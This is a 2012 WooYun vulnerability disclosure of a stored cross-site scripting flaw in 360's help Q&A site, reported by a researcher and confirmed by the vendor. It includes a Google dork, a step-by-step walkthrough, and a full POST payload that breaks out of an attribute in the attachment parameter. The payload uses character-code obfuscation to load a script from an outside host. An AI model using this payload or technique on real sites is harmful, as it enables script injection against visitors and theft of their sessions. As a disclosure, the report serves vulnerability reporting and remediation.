当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-08141

漏洞标题：360某站存储型XSS - 俺是来看360收乌云发的洞不～～

相关厂商：奇虎360

漏洞作者： gainover

提交时间：2012-06-10 14:20

修复时间：2012-07-25 14:21

公开时间：2012-07-25 14:21

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-10： 细节已通知厂商并且等待厂商处理中
2012-06-10： 厂商已经确认，细节仅向厂商公开
2012-06-20： 细节向核心白帽子及相关领域专家公开
2012-06-30： 细节向普通白帽子公开
2012-07-10： 细节向实习白帽子公开
2012-07-25： 细节向公众公开

简要描述：

昨天看到群里的Snow说360又有WEB类的奖励了，兴致勃勃的提交了攒了好久的反射型XSS过去。结果回复是有人提交了。 = = 还好俺攒的多，就又发了一个，这次360回复确认了，周一安排奖励，挺好。
360大部分都是客户端产品，WEB类的网站，大多本质都是导航类的网站，有用户内容交互的网站为数不多，比如论坛...，所以俺这个存储型XSS，对360的用户安全危害应该算是挺大的了，而且攻击可以做到很高的隐蔽性。
PS：如果不算之前那个误报的～， 貌似是乌云上360的第一个的存储型XSS
----------------------------------
QQ的漏洞响应平台已经明确指出：“1、奖励只针对通过TSRC官网在线漏洞提交系统反馈的用户”
在360的奖励页面，暂时未发现上述规定，只有“并对符合信息保密原则和获奖资格的报告者予以公开”这一条规定，因为乌云也是对漏洞有保密措施的， 这是否意味着通过乌云提交的漏洞，也可以获得相应奖励？
或者说，360也默许了QQ的那条规定？一定要“直接”提交给你们，才发放奖励呢？
---------------
哈哈，不好意思，俺又发牢骚了。 只是觉得乌云做起来不容易，你们搞安全的应该多多支持乌云才对。

详细说明：

1. 首先是google搜索, inurl:(upload) site:360.cn
发现：http://help.360.cn/upload.html 这个页面。
2. 然后就去 help.360.cn ，一看，原来是一个问答型的网站。
3. 找了个问题，回答了一下，并上传了一个rar附件。 然后提交回复，同时抓包。
4. 还是俺的老习惯。 F12，打开调试工具，查看刚回复的内容。看输出。


同时，我们可以注意抓包的内容，看输入


5. 如果输入没过滤 ", > 就会带来问题。 因此，我先讲 attach 参数改为以下内容：
|help_7f7b1b4ef061be3a">.rar|help_7f7b1b4ef061be3a.rar
6. 提交后，查看页面，可以看到，由于提前关闭HTML标签，代码侧漏了。
7. 因而我们可以进一步构造利用代码。

POST http://help.360.cn/index.php?c=insert&a=doedit
POSTDATA
attach 参数修改为:
|help_7f7b1b4ef061be3a"><img/src="/img/attach.gif"onload="window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,110,111,46,106,115);document.body.appendChild(window.s)"><a/style="display:none"b=".rar|help_7f7b1b4ef061be3a.rar


8. 考虑到网站访问量可能较大，为了避免测试的时候，被不良之人看到弹窗了，上面的代码仅仅是加载了我自己网站的一个空的JS文件。
打开httpwatch，对被插入代码的页面进行抓包，可以看到，我的JS文件被加载了。


进一步证明，打开调试工具，定位到插入的内容。


漏洞证明：

见详细说明。

修复方案：

对 http://help.360.cn/index.php?c=insert&a=doedit 页面，在提交问题和编辑问题时发送的attach参数进行严格的审查过滤。

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-06-10 15:08

厂商回复：

感谢您对360的支持，您反馈的漏洞已经确认并正在修复。

最新状态：

暂无